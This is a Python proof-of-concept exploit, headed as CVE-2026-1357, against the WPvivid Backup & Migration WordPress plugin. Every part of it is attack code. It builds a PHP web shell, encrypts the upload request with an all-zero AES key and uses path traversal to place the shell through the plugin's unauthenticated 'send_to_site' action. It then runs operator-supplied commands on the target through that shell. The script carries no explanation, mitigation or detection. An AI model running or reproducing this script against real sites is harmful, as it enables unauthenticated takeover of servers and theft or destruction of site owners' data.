WPvivid Backup & Migration Unauthenticated Arbitrary File Upload RCE (CVE-2026-1357)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152

import base64
import json
import hashlib
import requests
import uuid
import sys
import argparse
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from urllib.parse import urlparse, urlencode

DEFAULT_SCHEME = "http"
DEFAULT_PORT = 80
DEFAULT_TIMEOUT = 5

def parse_base_url(value: str) -> str:
    if "://" not in value:
        # Default to http if the user just types an IP or domain
        value = f"{DEFAULT_SCHEME}://{value}"

    parsed = urlparse(value)

    if parsed.scheme not in ("http", "https"):
        raise argparse.ArgumentTypeError("Only http:// or https:// are supported")

    if not parsed.hostname:
        raise argparse.ArgumentTypeError("[!] Invalid target: missing hostname")

    # FIX: Only append a colon and port if a port was actually specified
    port_string = f":{parsed.port}" if parsed.port else ""
    
    # Normalize path (strip trailing slash)
    path = parsed.path.rstrip("/")

    return f"{parsed.scheme}://{parsed.hostname}{port_string}{path}"

def join_url(base: str, path: str) -> str:
    return f"{base.rstrip('/')}/{path.lstrip('/')}"


def generate_payload(filename: str):
    shell_content = '<?php system($_GET["cmd"]); ?>'
    
    params = {
        "backup_id": "1",
        "name": f"../uploads/{filename}",
        "data": base64.b64encode(shell_content.encode()).decode(),
        "md5": hashlib.md5(shell_content.encode()).hexdigest(),
        "file_size": len(shell_content),
        "total_size": len(shell_content),
        "type": "backup",
        "status": "running",
        "offset": 0,
        "index": 0
    }
    
    null_key = b'\x00' * 16
    iv = b'\x00' * 16
    cipher = AES.new(null_key, AES.MODE_CBC, iv)
    json_data = json.dumps(params).encode()
    encrypted = cipher.encrypt(pad(json_data, 16))
    fake_key = "ABC"
    key_len_header = f"{len(fake_key):03x}"
    data_len_header = f"{len(encrypted):016x}"
    raw_payload = (
        key_len_header.encode() + 
        fake_key.encode() + 
        data_len_header.encode() + 
        encrypted
    )
    
    return base64.b64encode(raw_payload).decode()

def upload_payload(target: str, payload):
    try:
        res_payload = requests.post(
                target,
                data={
                    'wpvivid_action': 'send_to_site',
                    'wpvivid_content': payload
                },
                timeout=DEFAULT_TIMEOUT
        )

        if not res_payload.ok:
            print(f"[!] Failed to upload payload ({target}): {res_payload.text}")
            sys.exit(1)
    except requests.exceptions.Timeout:
        print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.")
        sys.exit(1)
    except requests.exceptions.ConnectionError:
        print(f"[!] Error: Failed to connect to {target}. Check the URL or your network.")
        sys.exit(1)
    except requests.exceptions.RequestException as e:
        print(f"[!] An unexpected network error occurred: {e}")
        sys.exit(1)

def execute_command(target: str, filename: str, command: str):
    url_shell = join_url(target, f"/wp-content/uploads/{filename}")
    url_trigger = f"{url_shell}?{urlencode({ "cmd": command})}"

    print(f"[+] Command URL: {url_trigger}")

    try:
        res_cmd = requests.post(
                url_trigger,
                timeout=DEFAULT_TIMEOUT
        )

        if not res_cmd.ok:
            print(f"[!] Failed to execute command ({url_trigger}): {res_cmd.text}")
            sys.exit(1)

        print(res_cmd.text)
    except requests.exceptions.Timeout:
        print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.")
        sys.exit(1)
    except requests.exceptions.ConnectionError:
        print(f"[!] Error: Failed to connect to {url_trigger}. Check the URL or your network.")
        sys.exit(1)
    except requests.exceptions.RequestException as e:
        print(f"[!] An unexpected network error occurred: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="PoC exploit: CVE-2026-1357")
    parser.add_argument("target", help="Target hostname")
    parser.add_argument("--command", type=str, required=True, help="Command to run on target")

    args = parser.parse_args()
    target = parse_base_url(args.target)

    print(f"[+] Target: {target}")

    filename = f"{str(uuid.uuid4())}.php"
    payload = generate_payload(filename)

    print(f"[*] Uploading payload...")

    upload_payload(target, payload)

    print(f"[+] Payload uploaded")

    print(f"[*] Executing command...")

    execute_command(target, filename, args.command)

    return 0
    
if __name__ == "__main__":
    sys.exit(main())